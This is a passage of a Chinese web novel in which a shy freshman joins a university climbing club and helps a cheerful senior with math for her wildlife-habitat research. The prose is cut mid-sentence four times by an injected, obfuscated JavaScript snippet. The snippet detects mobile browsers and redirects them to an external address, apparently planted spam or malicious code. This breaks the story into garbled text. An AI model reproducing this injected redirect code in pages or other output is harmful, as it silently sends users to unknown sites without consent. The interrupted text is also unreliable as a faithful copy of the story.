黎晓唱眼睛亮了亮:“手法挺娴熟,小澍可以呀。” “我爸特别喜欢研究这些,以前夏天总在院里烤羊肉串,”李澍说,“我从小就学会了。” 他只说了一半,他不仅烤过,还和爸妈一起串过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116221|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉串。那时他小学还没毕业,还当做是一件有趣的事情,更开心于每天都可以吃上几串;并没有意识到,父亲离开工厂有多无奈和辛酸。 他低头看了一下调料:“我们那儿还习惯放点白糖。” “哎呀,老乡啊,听口音就像。就说东北人谁没点烤串天赋呢?”老孙抬手递过一个小罐子,“有,啥都有,怕他们吃不惯没放。” “看来叔叔应该是精于厨艺啊。”黎晓唱赞道,“难得你之前那么瘦……”连忙摆手,“现在也不胖啊,只不过从招新到现在还不到一个月,有点惊讶。” 李澍有些不好意思:“以前在家吃得也不少,不过不吃宵夜;而且现在的确运动少了。” “理解理解,好多人大一都会长肉。饮食习惯和生活习惯改变了,身体还不适应;还有就是压力大,会多吃一些来缓解。”黎晓唱一副过来人的样子,“调整一下就好了。” “大学是和高中,是有点不一样。”李澍心中从未对别人说起过的惶恐,在她面前,似乎自然而然就讲了出来。 “哈,有、点、不一样?差太多了好吗?高中谁不以为自己能叱诧风云?上了大学后才意识到自己和真正的天才之间是有壁的!”这可是说到黎晓唱经验值丰富的部分了,她开启谆谆教诲模式,“高中时代的学习目标,简单明确,学习内容是在既定的框架内,未来的道路也是规划好的,什么时候做什么,还有老师在督促,同学们也是步调一致,所以不需要自己掌控什么大方向。但到了大学,首先要明确自己的目标,找到前进的动力,还得进行自我规划,每个人的情况都不一样,一切都要摸索着来……总之,太难了,我到了今天,才有了一些切身体会。” 其他队员笑她:“说得自己好像多老成一样。” 黎晓唱认真道:“我真觉得前两年有点太放飞了,所以希望师弟引以为鉴!” 祁飞:“别这么痛心疾首……你还算可以了,一直都挺有精神头的,也没几个人早早就都想明白的。” 黎晓唱耸肩,看着祁飞摇了摇头。偏偏,他刚刚发短信联络的那个女孩,自我规划的道路就那么明晰,不容动摇。 李澍却觉得十分温暖,终于有另一个人说出了他这两个月来的迷茫和惶恐,让他觉得在偌大的校园里,自己也不算另类和无助。 黎晓唱继续说道:“当然学习是不能敷衍的。但如果有时间,也可以来参加一下我们的活动。是不是听起来还是挺有趣?哦对,祁飞是我们攀岩队的队长。我们都是登山协会的,但协会里有好多不同的部门,攀岩也算是登山的一个基础技能啦……” 她在招新的时候已经说过一次,BBS上相关内容李澍也阅读过。此刻听她再说一遍,却也不觉得厌烦。 无论黎晓唱说什么,哪怕是说起大学时代的迷茫,尾音总是略微上扬,语气中带着一丝轻快,仿佛她由衷地热爱着身边的一切,不会被任何事情打倒。 茫然的夜色中,她站在暖黄的路灯下,笼在一团光晕中,眼睛一闪一闪的,如同明亮的星。 李澍心中第一次感到平静安稳,倒也不想去打游戏了。就这样和一群人站在夜晚的大门口吃烤串,熏得一身烟火气,似乎有了一点点大学的归属感。 隔天他去洗澡,看到浴室门口有个体重秤。环顾左右无人,交了两毛钱,踩了一脚。 呵,难怪黎晓唱惊讶,居然长了十斤! 只见一个高大的北方男生,站在门厅里,扭头看着旁边的镜子,左转右转,调整角度,想看看那么一大坨肉到底贴在了哪儿。 想起黎晓唱的话:“就这样,要来岩壁哦。” 8. 第三章 (下) 李澍本不想爽约。 秋日天空湛蓝悠远,湖边的银杏已经满树金黄,走到人工岩壁附近就已经可以听到加油和欢笑声。隔着铁丝拦网外的灌木,李澍略一踮脚,便看见仰角岩壁附近的一群队员。大家没穿安全带,就在离地一两米的地方研究线路,脚下铺着几十公分厚的缓冲垫。 有一处移动,祁飞左手拉住突起岩点,身体站直,右臂舒展,将将勾到下一处略显平滑的手点。 黎晓唱比他矮了半个头,一边嘟嚷:“你定的这一步也太吃身高了吧,不公平!”一边笑盈盈在粉袋里抓了一把镁粉,走到岩壁前。 她拉住起始手点,蹲低身体,手臂打直,左右摆动蓄力,晃了两晃,双腿蹬起,身体腾空,像小豹子一样扑了出去。 只可惜力度掌握不当,手刚搭在点上便一滑,整个人又从岩壁上跌落下来,在垫子上就势一滚。 她嬉笑着站起来,又在掌心抹了些镁粉,“刚刚不算,再来!” 一旦到了岩壁上,黎晓唱的神色就严肃起来,重新蹲低,仰头看着目标点,深吸气,屈着双腿,身体向侧后方拉紧蓄力,如同一张被拉满的弓。下一刻,她迅疾窜出,在抓住高处手点的同时右脚轻点岩壁,左脚略摆,做了一个漂亮的平衡,将身体稳稳控制。随后抬脚压膝,行云流水完成了后续线路。 好几次动作出人意料,不知她如何只依靠小小的手点脚点,便稳定在带着仰角的斜壁上。李澍都想把她按在原处——动用物理知识,画个受力分析图。 她的动作轻盈流畅,身体极为协调,似乎生来便知道如何攀爬,如同岩壁上生长腾挪的小动物一样。 怪不得,那天有人喊她“小猴姐”。 围观队友纷纷叫好。祁飞笑:“谁说吃身高来着?这个距离对你来说就是个热身。” 众人受了鼓励,个子不高的也都模仿黎晓唱的动作,纷纷尝试。 她在一旁指导:“对,这个角度就可以。记得向斜上发力,身体要贴近岩壁,脚不要向外蹬,那样你就掉啦。” 已经走到铁丝网附近的李澍,心中忽然涌起一丝不安。黎晓唱指导了几个人,忽然转过身来。李澍下意识退了两步,矮了身体,隐在灌木丛后——也不知道自己在躲什么。 但她只是在场内找自己的水杯,喝了两口便又跑回岩壁下。李澍松了一口气,稍微回神,明白了自己的惶恐所在——大家所尝试的动作,是他力不能及的。 有几门难以应对的专业课,已经够让他头疼,此外他不想继续在别处展示自己的笨拙和无能。 所以,那天李澍还是爽约了。 然而他的心似乎依旧蠢蠢欲动。此后每当去图书馆,休息时李澍都会站在窗前,眺望远方。仿佛越过重重叠叠的高大乔木,可以隐约看到湖畔高耸的岩壁。 隔了几天,李澍去学院机房完成上机作业。傍晚出来时,经过楼梯间,看到七八个学生背着巨大的登山包,步伐矫健地爬着楼梯。 他在四层,等着下楼的电梯。门一开,里面已经站满了人,似乎就是那群训练的队员——不用说,也猜得到是登山协会的。 门边的同学说:“往里挪挪,有人要上来。” 李澍摆手:“没事,我走楼梯吧。” 在一众高低背包的掩映下,电梯角落里有人踮脚,从大包裹后探出头,喊了一声:“咦,小澍?” 他一愣,立刻反应过来是黎晓唱,正要和她打招呼,电梯门就在面前缓缓关上了。 李澍三步并作两步跑下楼梯,到了最后一层,忽然想到,应该收收速度,别让她看见自己急切的样子。 楼下脚步声迭起,已经有几个人跑上来。李澍侧身,让过几位队员,看到队尾面色红润的黎晓唱。 她指了指众人,说话轻微有些喘:“我们练习呢,就这栋楼最高,下楼太伤膝盖,就搭电梯了。” 李澍看她肩上将近半人高的户外包,带子紧压在肩膀上,明显真的负了重。“这是要去登山?”他问。 “还没到登山集训,就日常训练一下。”黎晓唱一笑,“我是因为要出野外,随时保持体能。” 李澍肃然起敬,同时心里的退堂鼓又敲了一番。 黎晓唱仿佛看出他的惊讶,解释道:“就他们几个牛人拉练,我凑热闹的,不是队员日常考核需求哈。” 李澍点头。 黎晓唱问:“前几天你怎么没去岩壁?” 李澍找了个妥善的借口:“期中考试,复习来着。” 黎晓唱恍然:“哦,对对,考试最重要。” 她的一脸真诚让李澍有些愧疚,他又继续道:“而且,我觉得自己也没那么协调。” 黎晓唱轻声笑起来:“不会啊,你看起来是体育很好的样子,”学了电影里的腔调,“这位少年,骨骼清奇。” 看他还犹豫,她又想了想,似乎是在组织语言:“当然,很多时候,潜能都是通过充分练习才能挖掘的。我们每个人的能力范围,一定超越了目前自己能做到的所有事情,你说是不是?” 这句话被她说的有点绕,但的确,逻辑上似乎没什么可辩驳。 李澍想要答应下来,又觉得承诺有点重,一言既出驷马难追。 黎晓唱继续追问:“过些日子天冷了,新人的集中训练就是最后一次了,不想去体验一下,看看热闹?” 她站在下方的楼梯,微扬着头,闪亮真挚的眼神让人无法拒绝。 李澍不觉点头。 黎晓唱笑,弯起小指,“一言为定,就当拉过钩了,不许赖皮。” 李澍还在思忖着,要不要和她拉钩,她已经收起手来,向着队友们追过去,只留下一串清脆的叮嘱:“别忘了呀,周五下午。” 于是也没了躲避的理由,李澍如约来到岩壁。今天这一批参训的都是新队员,明显看起来紧张拘束了许多,大家排队试着两条简单线。有人小腿持续发力,抖个不停;有人爬到几米高便吓得不敢再动。 李澍反而觉得轻松了一些。 黎晓唱和几位老队员轮番指导,为新队员打保护。她看到李澍,抽了个空当,向他挥了挥手。 轮到李澍时,正好是黎晓唱打保护。一根长绳绕过岩壁上方的保护点,两端垂了下来,一端打了八字结,系在李澍的安全带上;另一端与黎晓唱的安全带相连,被她握在手里。 李澍看了看二人的身形差异,有些犹豫。 她可是说过,食堂伙食不错…… “师姐,我应该……”他挠了挠后脑勺,“比你沉不少吧……” “放心,拉得住你。”黎晓唱扬了扬下巴,“你多少斤?” “……” “多少?” 一个大男生,别扭捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116222|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,快说呀。 “一百五十多……” “嗨,没问题!”黎晓唱进行攀爬前的安全检查,“我将近一百二,顶绳的话,一百七八都可以。”她又指了指后方一个同学,“而且,我还有个副保,你放心!” 李澍对女生的体重没太多概念,就觉得当初高中女同学对此都讳莫如深。但据他有限的了解,没谁在人前坦然大声地宣布过自己一百二。 真是看不出来,这,密度挺大呀。 头一段都是大点,李澍手脚并用,爬得并不费力。但中段的岩点明显变小,仿佛只能用指尖掐住,心中一紧张,手心便渗出汗来,似乎更加捏不住。腿仿佛也开始要发抖了。 这时,只觉得腰间一紧,是黎晓唱收紧了保护绳。 “小澍,可以松手了。”她在下面喊。 李澍低头,嗬,离地两层楼,有点晕。 她依旧喊着:“没事,我拉得住你,松手吧。” 眼一闭,心一横。咦,松开手脚后,基本还吊在原来的高度。 “不要抓绳子,放轻松……回头看,看到远处的湖了吗?”黎晓唱喊,“平时可没有这个角度哦,是不是特别美?” 果然,他的视线和银杏金黄的华冠平齐,看到绿宝石一样的湖水。 真的,是第一次,从这个角度看过去。微风拂过树梢,也拂过李澍心间,倏然开朗。 黎晓唱已经将他放下来,却没解开保护装置。 “脚尖踩点,踩实,脚跟不要踮起来,否则小腿一抖,就变成发电报了。”她一边说,一边在岩壁上简单演示,“你要大胆做动作,就当自己在地面一样。” 她说着递过来一个粉袋,嘱咐他系在腰间:“记住,大不了就松手,要相信,我可以保护你的!” 李澍懵懵懂懂地点头,经历了一次悬吊半空的感觉,便觉得也没什么可怕。而且如黎晓唱所说,他相信她,看她再次细心检查,他心中踏实安稳,面对着十几米的岩壁,忽然升起一股信心来。 这一次攀爬十分顺畅,当他握到最上方的岩点时,忍不住又回望湖水……他已经超越了高大的树木,仿佛拥有了飞鸟的视野。 松手时难免有些微的紧张,但这种安全范围内的小小冒险,又让人感到刺激和兴奋——这是他久违的振奋与快乐。 “我就说,小澍有潜质!”黎晓唱笑着迎过来,看起来比他还开心。 面对高手夸奖,李澍感觉此刻应该谦虚低调:“胳膊还是没什么劲儿。” 黎晓唱向着另一条线路上看似瘦弱的女生努努嘴:“你的力量会不如她么?力量的确是个重要因素,但入门时肯定都够用。要先养成良好的攀爬习惯,力量才能让你如虎添翼。” 她又叮嘱了几句,旁边有队友路过,笑道:“黎晓唱,终于开张啦!还以为你今年收不到徒弟呢!” “什么,是我精挑细选好不好?”黎晓唱叉腰,“信不信,过一年,小澍肯定比你厉害!” 这,不是说好了来体验吗?李澍想,我说过要加入了吗? 祁飞也走过来:“训练的事情,下学期再统一安排。要加入协会的话,别忘了注册一下。” 众目睽睽下无法推却。就这样,在填写了表格,缴纳五块钱会费后,李澍正式加入了登山协会。 (作者:一只内心戏很多,台词很少的小澍。) 9. 第四章 骆驼与飞鸟 在一周的忐忑不安中,几门主课的期中考试告一段落。 拿到试卷后李澍松了一口气,没有预想的那么难,大部分题目比作业题还简单一些。当然最后两道大题拉开档次,扫一眼他就知道可以放弃了——和高中技巧型题目相比,大学里多是逻辑清晰的证明题,没思路就是没思路。 他以为自己都是低空飞过,出分时成绩竟然是中等,立时觉得北京的秋色都绚烂了几分。 加入登山协会后,李澍偶尔参加过几次活动,但没太参加夜里的集中训练。 他看了版面上的体能训练时间,也去操场周围观望,但看到队伍一跑就是十几二十圈,觉得自己未必能跟下来,在门外踟蹰了一阵,还是转身离开。 但他也没彻底放弃,不过是换了个时间,独自去操场跑圈。头几日从五圈跑起,只觉臀腿酸痛,坚持两周后,似乎步伐也轻松了一些。 在食堂常常可以看到协会的同学们,大家先后打了饭,都聚在相邻的几张餐桌旁,也有人认出李澍,招呼他一起。三两口吃了饭,再一起去人工岩壁爬线。 面向新人的集中体验和入门训练暂告一段落,但大家自主练习,每天中午和傍晚总会有十来个新老成员在。黎晓唱向来闲不住,出勤率极高,每次走到岩壁附近,远远就能听到她说笑的声音。 她站在斜壁下,抓了些镁粉,摩拳擦掌:“明年北京高校联赛上,我们一定要赢过D大!” 旁边的老队员曾勇笑她:“他们有特招生,咱们没有,团体总分能拿第二就不错了。” 黎晓唱不以为然:“每次你都这么说,上了赛场拼起来,就不是你啦。我们的目标,肯定是向着高处!” 大家笑起来,有人大声说:“唱姐说得对,向着高处攀登!” 她斗志昂扬继续说道:“不是有个段子说,大多数人只知道世界第一高峰,有几个人知道第二高峰?” 曾勇挥手:“切,谁不知道?” “你是登山协会的老会员,当然知道。”黎晓唱转身,看到坐在角落垫子上的李澍,“等我问小澍!” “小澍,你知道世界第二高峰是哪座吗?” “啊,我想想……”他犹豫了片刻。 黎晓唱正要说“你们看吧”,就听到他有些迟疑的声音:“是……乔戈里峰,也叫K2?” 她笑起来:“可以啊小澍。” “那个,我也是协会的……”李澍坦陈,“我是前几天在BBS上看到的。” 黎晓唱又问:“那第三高峰呢?” “干城章嘉。” “不错啊!” 如果不是祁飞过来,大概黎晓唱还会继续问下去。 “你爬你自己的,先别想什么比赛。”他板脸,“不是说了,这学期你先别惦记这些,先把你那旷考的科目补上。” 她可怜巴巴:“不是我不想,下学期才能补修,这学期没有的。” 祁飞还想说什么,黎晓唱抢先道:“还有,不许凶我啊,你还有求于我呢……” 众人说笑间,连续爬了几条线。休息空当,老队员又订了几条简单路线,指导新队员的基本功。 “刚开始的时候,不要着急爬难线,也不能太依靠上肢力量。”黎晓唱嘱咐李澍,“对这些简单路线来说,手臂就是稳定身体的辅助,靠脚蹬起就好……对,脚尖踩点,这样以后才能旋转和换脚。” 说完又跑过去帮助一个女生,“对,贴近岩壁,找到重心推过去的感觉,嗯嗯,推胯,不要肩先过去,那就失衡了。” 总之,一直闲不住。 爬到后来,她一边喊手皮疼捏不住小点了,一边还跑过去和队友们比引体向上。 李澍第一次看到有女生把引体向上做得那么标准,不依靠身体的晃动和借力,只是稳稳拉起。 她赢了两个队友,乐不可支,已经从单杠上跃下,又忍不住跳起抓杠,拉高身体,胸部贴杠后继续发力,手臂稳稳撑直,腹部贴杠,做了个双立臂。随后身体后仰,轻松做了个腹部绕杠;又再撑起,向前再来一次逆时针绕杠,借着惯性前摆,轻松落地。 看着她在杠上“咻、咻”飞转,李澍目瞪口呆,虽然早知黎晓唱攀爬技能卓越,但这人口口声声嘱咐别人不要过度依赖上肢力量,自己却藏了一身力气。 老队员们并不吃惊,但还是捧场地为她叫好。 隔天夜里,李澍独自去操场跑步,经过场边的器械区,忍不住停下脚步。他在单杠下跃起抓杠,尝试向黎晓唱一样,不借助惯性平稳拉起,呲牙咧嘴也只能坚持了几个。 他甩着手腕,想,以后要把引体也加入到夜间训练的内容了。 正想得入神,背后又被人“啪”地拍了一下。李澍被拍了一激灵,但又立刻反应过来,手劲儿有点大,不是她还能是谁? 果然,回头对上黎晓唱笑嘻嘻的脸,“怎么不参加训练,自己来偷偷练习?” 他有些尴尬,又不好落荒而逃,只好找个理由:“就今天作业少。” “我就觉得,你肩背力量不错。”黎晓唱指导他做了几个引体,指尖戳在他背上,“这里收紧,发力。” 那小小的一点像被电到一样,李澍一紧张,松手掉了下来。 “以前也有练习吧?”黎晓唱问。 “嗯,有段时间会去晨练。” “高中还晨练?”黎晓唱惊讶,“真是肃然起敬。我以为就我爸六点不到起床晨练呢。” “我也是陪我爸去。”李澍说,“有一阵他腰不大好,康复医生建议做些训练,他就早晨有时间,我帮他做辅助。” “哦哦,这样。那叔叔现在好些没?” “好些了,但也只能多注意。”李澍有些犹豫,还是说出来,“他开出租,平时总得坐着。” “那是得多注意呢。”黎晓唱也不会说什么宽慰的话,两个人一起沉默了一阵。 她托着腮,看到李澍的侧脸,看眉眼也是俊秀的少年,但上唇有一层疏落的胡须,明显就是还不知道如何打理。她莫名想笑,又觉得略显稚气的他有点乖。 两个人一同往宿舍去走,路过转角,灌木后的草丛里传来沙沙的响动。 黎晓唱眼睛一亮,从一处间隙蹭了过去,招手喊李澍:“快来!” “是什么?”他顺着她手指的方向看过去,“猫吗?”不,大小明显不对,他迟疑片刻,“还是……老鼠?” 黎晓唱食指在唇间做了一个静音的手势,示意他蹲下,视线穿过草丛,轻声道:“你肯定认识。” 悉悉簌簌的声音继续传来,这回李澍看清了:“学校里还有刺猬?” “那是,”她颇为自得,“还有黄鼠狼呢。” 李澍第一次近距离看到真实活动的刺猬,细密的小刺平整地贴在身体上,忍不住说:“这……也没法扎果子啊。” 黎晓唱忍不住笑出来:“童话里都是骗人的好吗?你说,刺猬如果扎一身果子,怎么弄下来?” 李澍认真思考这个可行性,“带回家,收紧身体,再……弹射出去。” “弹射?”她咯咯地笑,“如果刺也弹射出来了,就变成暗器了……哦不对,还扎在果子上呢!” 李澍说:“水果拼盘上,也都插着牙签呢。” 黎晓唱眼泪笑出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116223|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“看不出来,你平时不怎么说话,还挺贫。” “没有吧……”李澍辩解,“我是真的思考了一下。”他觉得冤枉,明明是顺着黎晓唱的话说下来的,认真分析,怎么就贫嘴了?是她自己说话天马行空才对。 黎晓唱四下观望,没找到目标物,“下次,下次我告诉你,刺猬吃什么。” 还卖了这么大一个关子。李澍想,我不会回去百度吗? 黎晓唱回到寝室,趁着洗漱和室友说:“来来,我给你们讲个笑话。”便把自己和李澍的对话复述了一遍。 孟琳和周亚岚先是哈哈一笑,说这个小师弟还挺幽默,然后开始切换重点。 周亚岚问:“是你说起过的小师弟?帅不?” “还……好吧……看起来就是个小朋友嘛,不能用帅不帅形容。”黎晓唱脑海中浮现出李澍的脸,评价道,“稚气未脱。” 孟琳笑:“你居然用这四个字评价别人。” 三人说笑了一会儿,临近熄灯,唐凝才匆忙赶回。黎晓唱想问她两个模型相关的问题,但看她神色疲惫,又不忍多打扰。 熄灯后唐凝也没睡,依旧点着应急灯,捧着笔记本电脑看学术文章。 黎晓唱把着上铺的床沿,踮着脚,眼巴巴看她。 唐凝问:“怎么了?” “没事,凝凝你真好看。” 唐凝拿书本轻轻敲在她脑袋上,笑骂:“神经,翻单杠磕到头了吧?” “最近实验室还很忙啊?”黎晓唱试探地问,“需要这么晚看paper吗?” “就我年级最低,也不可能让整个组单独照顾我。”唐凝说道,“我不想大家说什么我都听不懂,总得多做点功课。” “哦……”黎晓唱应了一声,有些难以开口,还是问道,“那还要和我们一起去山里定向不?” 唐凝放下笔记本,仔细打量她。 黎晓唱心虚,连忙解释:“就当放松一下,换个心情。不想去爬山吗?” “不去了。”唐凝淡然道,“想爬山,假期实习有的是可爬。” 黎晓唱感觉到,唐凝已经知道自己不过是个传声筒。她摇头轻叹,心中暗想:队长,我只能帮你到这里了。 不过唐凝说的问题,她也同样需要面对。 梁老师旗下的研究生都是精兵强将,人人都有丰富的野外研究经验,大多可以独当一面。黎晓唱虽然身体素质过硬,观察力优秀,更是热情高涨,但真到了学术领域便相形见绌。她倒是积极求教,请师兄师姐推荐了一些相关资料,但看起来如同读天书,一些基础问题总不好再麻烦别人。 唐凝对她是有问必答,但最近她看起来格外辛苦,黎晓唱也不想再占用她的时间。 祁飞虽然成绩一般,但作为电子系的师兄,数理基础总是更扎实。可他已经给过入门的大方向,如今他拜托自己的事情也无法复命,黎晓唱也不好腆着脸再去叨扰。 没课时,她独自在图书馆的书架间游荡,参考书众多,她感觉已经迷失在知识的海洋里了。 正在感慨天地苍茫时,一眼看到窗边的李澍。黎晓唱欣喜,迈着小碎步轻盈地跑过去。 李澍听她说要问模型问题,瞬间头大,犹豫道:“那个,师姐,我刚大一……” “这不正好?”黎晓唱嬉笑,“祁飞就说我现在看也看不懂,要先补补线性代数和微积分,这不正好你们也在学吗?” 李澍头皮发紧:“刚学了两个多月……” “没事没事。你们计算机专业要求高,瘦死的骆驼比马大!” 看着她热切的双眼,李澍觉得,有些难以拒绝。 10. 第四章 (下) 隔天二人约在图书馆外的连廊碰头。黎晓唱的书包塞得鼓鼓的,手里还拎了一只装满水的太空杯。她打开书包,先掏出一包薯片,然后是巧克力、小熊饼、灯影牛肉丝、两瓶酸奶,还有一个苹果。 李澍心想,她这是来讨论问题,还是野餐? 黎晓唱自己拿了一瓶酸奶,其他的推到李澍面前:“不能让师弟白讲题。不知道你爱吃什么,就买了我喜欢的。” 李澍本想说,自己不怎么吃零食。但看到黎晓唱笑嘻嘻的样子,又不忍拂了她的好意,拢过来都收到书包里。 清空了上层的零食,她这才掏出厚厚一沓论文,说道:“先说说我想做什么吧。 “我们研究保护某个物种,很重要的一环就是研究它们的栖息地,不同的动物有不同的敏感性和偏好。 “但作为一门科学,我们要做的不仅是观察自然,还需要定量的分析。出野外得到的直观感受和经验,也是需要数据来验证的。并不是说漫山遍野地走,发现野生动物的痕迹就足够的……你说是吧?” 李澍难得见她一本正经的样子,跟着点了点头。 “唉,”黎晓唱轻叹了一声,“这些都是老师说过,但我这学期听组会才深刻意识到的,头大。” 她振奋精神,继续道:“比如大熊猫,哪些生态因子对它们有多大程度的影响,比如海拔、坡度、水源、隐蔽条件、植被情况、其他动物和人类活动影响等……知道这些关系,才能更好地规划保护,但要考虑的因素太多了,有的是相互独立的,有的又是相互关联的,有的还是因果……” 她把论文放好,两手做了个“请”的姿势:“这时,我们就需要强大的统计模型工具啦。” 李澍翻了翻那一沓论文,基本都是利用统计方法,进行栖息地(生境)研究。 他翻到一篇讲Logistic回归模型的,耐着性子翻了头几页,评论道:“这里面说,如果褐马鸡出现了,就记为1,没出现就记为0;那出现1只或10只,或者是一年内出现1次或者100次,能一样么?” 黎晓唱歪头凑上来:“优秀啊,我都没看到这儿呢,你看挺快啊。” “就,随手翻翻。” 黎晓唱也随手翻了翻,发现没那么简单。 “那你翻得也挺精准,理解力超强啊,一下就看到关于模型的核心内容!”她啧啧称赞,“说实话,我也解答不了,这么多分析方法呢,我得一个个从头看,现在是什么也不懂。” 李澍向后继续看,满目尽是公式,符号与角标纷飞,一整本天书奇谈。 黎晓唱看不懂,他又怎么看得懂?她还比他多读两年书呢! 想到这儿,李澍抬头,疑惑地看着黎晓唱。 才两年,两年内就要学这么多内容?更何况,她的专业方向是保护生物学,都需要这么复杂。想到自己专业课的未来,他隐隐有些不安。 黎晓唱看他皱起眉头,反而笑了:“天书!是不是?” “我就是想,大学课程的进度可真快,大三就要懂这么多内容了?而且……还都得自学?” “也没有啦,别紧张,这里面很多是概率统计专业高年级和研究生的课程呢!”黎晓唱安慰道,又有些忸怩,“我们上学期,有很基础的统计入门课,不过,嘿嘿……我学得不咋样。” 要是被祁飞听到了,肯定嗤之以鼻,什么叫学得不咋样,是根本没学吧。 李澍想起差点翻墙吃烤串的那个夜晚,当时就有师兄说:“黎晓唱,怪不得你上学期退考,你这真是什么都不会啊!” 他当然不会这样评价黎晓唱,而是感同身受说道:“我也觉得,上大学后知识点太密集了,和高中学习的感受完全不一样,有时候我都在想,是不是我的智力和能力,和我的专业不匹配。” 一直压在心头、不曾向他人坦言的自我怀疑和忧虑,在她面前,就很自然地说了出来。 “也不至于,只不过是见到了更强大的人。我也是到大学后才发现,有的人比我更聪明,还比我更自律,比如,我的学霸室友,专业排名数一数二。”黎晓唱安慰地拍了拍李澍肩膀,手劲儿还是那么大,“不过,我们也不要太自我怀疑了,又不是走后门进来的。比如我,上学期那是因为在准备大学生攀岩赛;人的精力是有限的嘛……那要是早知道这门课对以后的研究那么重要,我拿火柴棍支着眼皮,也会好好听的!” 说着还用手指撑了一下眼皮。 李澍笑了一声:“我信。” 黎晓唱哗啦啦地翻着一沓论文:“我不用知道太深入的原理,但大致总要明白,这些系数参数什么的,都代表什么,怎么解读……否则我从野外拿再多的数据,又有什么用呢?” 李澍点头:“师姐说得对,可是……这些知识点对我来说有些远。你都不懂,我就更不用说了……” “但你很有悟性啊,小伙子有前途!”黎晓唱又风一样把论文码整齐,放在一旁,“先不管这些了,我问了祁飞和其他师兄师姐,他们让我先别研究太深奥的问题。就和攀岩一样,打基础太重要了!基础动作做到位,以后爬多高多难,就是积累和练习的过程啦!” 真是,三句话不离攀岩。 她“嗖”地又掏出两本书,拍在两人中间:“祁飞和唐凝说,要从基础补起!线性代数、数学分析,不就是你现在在学的吗?” 李澍挠头:“我学得……很一般……” “我记得,你说期中考得还可以?” “就,中等吧……80来分……” “可以了可以了,”黎晓唱一迭声道,“计算机专业的数学要求比我们高多了,80多分给我讲题,小菜一碟啊!” 李澍头疼:“那……怎么讲呢……” 黎晓唱翻到课本的章节习题部分,“我多少还是有一些sense的,我每天挑几道类型题做一下,不会的问你啊。” “哦……那,我抄一下题。”李澍说,“我也得提前做,当时做不一定的。” “我加你Q-Q啊。”黎晓唱说,“回头我拍照片发给你。” “那个,我还没买电脑……查信息可能不及时。” “哦,这样……”黎晓唱想了想,“我找同学借一套书,或者去教材科再买两本。” 李澍推辞不过,只好应道:“我试试,真的,就试试。” 黎晓唱已经挑好了几道题,李澍看过去,以计算为主,没有复杂的推导证明,的确比自己的期中考试容易许多,稍加思索就写了答案。 黎晓唱颇有打破砂锅问到底的精神,问:“这个地方为什么要这么替换,然后再计算?” 李澍解释给她听。 她又问:“那都什么情况可以这么操作?” 好在,除了计算,刚复习不久的定理证明李澍也都记得,又简单复述给她。 黎晓唱啧啧赞叹:“小澍同学,你刚才可是谦虚了,这怎么能叫学得很一般呢?” “凑巧,这些内容都刚考过。” “我就说么,我相信你。”黎晓唱喜滋滋晃着头,又说了那句经典的话,“瘦死的骆驼比马大!不对,你是强壮的骆驼!” 两个人又讨论了几道题,黎晓唱和五岁小孩儿似的,不断提出“为什么”,颇有打破砂锅问到底的架势。李澍为了解释,又是不得不拿出自己的教材翻找确定。 黎晓唱凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116224|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去看一眼:“你们学的内容还是理论性更强,深奥得多。有时候我问祁飞,他就说,你不用关心这么多;就是那么回事儿,会用就行。” 后半句她没说,在小队员面前,还是要给队长留点面子。那就是,八成是因为,学过的东西队长自己都忘了。 这祁飞还是有求于她呢,都这么敷衍。 反观李澍,他可真是个大聪明,反应快,态度又好。这个新队员真是招得太值了。 黎晓唱托着腮,笑眯眯看着低头翻书的李澍,衣着朴素,但也干净清爽,认真看书时显得单纯腼腆,还像高中生一样。就是那一抹淡淡的没长整齐的胡须,总是有点破坏他清秀少年的氛围感。 似乎看到好几次了,有点想给他刮了。 李澍感觉到她注视的目光,有点紧张,向后侧身,问:“怎么了?” “没事,就是觉得,小师弟看起来好乖啊。”黎晓唱认真道,她大概感受到李澍面对大一功课时的压力感,想起自己被学业磨练的日子,生出不少同情心。而且她还有丰富的课外生活可以调剂,但李澍明显就内敛低调得多。 